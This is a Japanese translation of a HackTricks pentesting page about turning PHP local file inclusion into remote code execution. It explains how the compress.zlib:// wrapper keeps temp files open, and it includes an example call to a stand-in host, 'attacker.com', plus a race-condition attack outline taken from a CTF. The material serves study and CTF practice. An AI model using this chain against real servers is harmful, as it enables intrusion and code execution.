hacktricks/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md

6.1 KiB
Raw Blame History

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

WhiteIntel

WhiteIntel は、ダークウェブを利用した検索エンジンで、企業やその顧客がマルウェアに侵害されたかどうかを確認するための無料機能を提供しています。

WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。

彼らのウェブサイトをチェックし、無料でエンジンを試すことができます:

{% embed url="https://whiteintel.io" %}


compress.zlib://PHP_STREAM_PREFER_STDIO

PHP_STREAM_PREFER_STDIO フラグを使用して compress.zlib:// プロトコルで開かれたファイルは、後で接続に到着するデータを書き続けることができます。

これは、次のような呼び出しを意味します:

file_get_contents("compress.zlib://http://attacker.com/file")

http://attacker.com/fileへのリクエストを送信します。その後、サーバーは有効なHTTPレスポンスでリクエストに応答し、接続を維持し、後でファイルに書き込まれる追加データを送信する可能性があります

この情報は、php-srcコードのmain/streams/cast.cのこの部分で確認できます:

/* Use a tmpfile and copy the old streams contents into it */

if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}

レースコンディションによるRCE

このCTFは、前のトリックを使用して解決されました。

攻撃者は、攻撃者のサーバーからファイルを読み取る接続を被害者サーバーに開かせます。これは、**compress.zlib**プロトコルを使用します。

接続が存在している間、攻撃者は作成された一時ファイルのパスを外部に流出させます(サーバーによって漏洩されます)。

接続がまだ開いている間、攻撃者は自分が制御する一時ファイルを読み込むLFIを悪用します

しかし、ウェブサーバーには、<?を含むファイルの読み込みを防ぐチェックがあります。したがって、攻撃者はレースコンディションを悪用します。まだ開いている接続の中で、攻撃者ウェブサーバーがファイルに禁止された文字が含まれているかをチェックした後にPHPペイロードを**送信しますが、その内容を読み込む前に行います。

詳細については、https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includerのレースコンディションとCTFの説明を確認してください。

WhiteIntel

WhiteIntelは、ダークウェブを利用した検索エンジンで、企業やその顧客が盗難マルウェアによって侵害されたかどうかを確認するための無料機能を提供しています。

WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。

彼らのウェブサイトを確認し、無料でエンジンを試すことができます:

{% embed url="https://whiteintel.io" %}

{% hint style="success" %} AWSハッキングを学び、練習するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、練習するHackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする
{% endhint %}